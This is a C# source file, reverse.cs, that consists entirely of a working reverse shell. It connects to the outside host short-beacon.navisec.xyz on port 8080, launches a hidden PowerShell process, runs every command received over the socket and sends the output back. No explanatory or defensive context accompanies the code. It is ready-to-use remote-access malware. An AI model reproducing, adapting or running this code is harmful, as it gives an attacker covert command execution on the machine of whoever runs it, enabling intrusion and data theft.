reverse.cs

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace GoopyGoober
{
	public class Program
	{
		static StreamWriter haloooo;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient("short-beacon.navisec.xyz", 8080))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						haloooo = new StreamWriter(stream);
						
						StringBuilder daddyInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "powershell.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(cmdyBoi);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							daddyInput.Append(rdr.ReadLine());
							// daddyInput.Append("\n");
							p.StandardInput.WriteLine(daddyInput);
							daddyInput.Remove(0, daddyInput.Length);
						}
					}
				}
			}
		}

		private static void cmdyBoi(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder daddyOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    daddyOutput.Append(outLine.Data);
                    haloooo.Write("\n" + daddyOutput);
                    haloooo.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}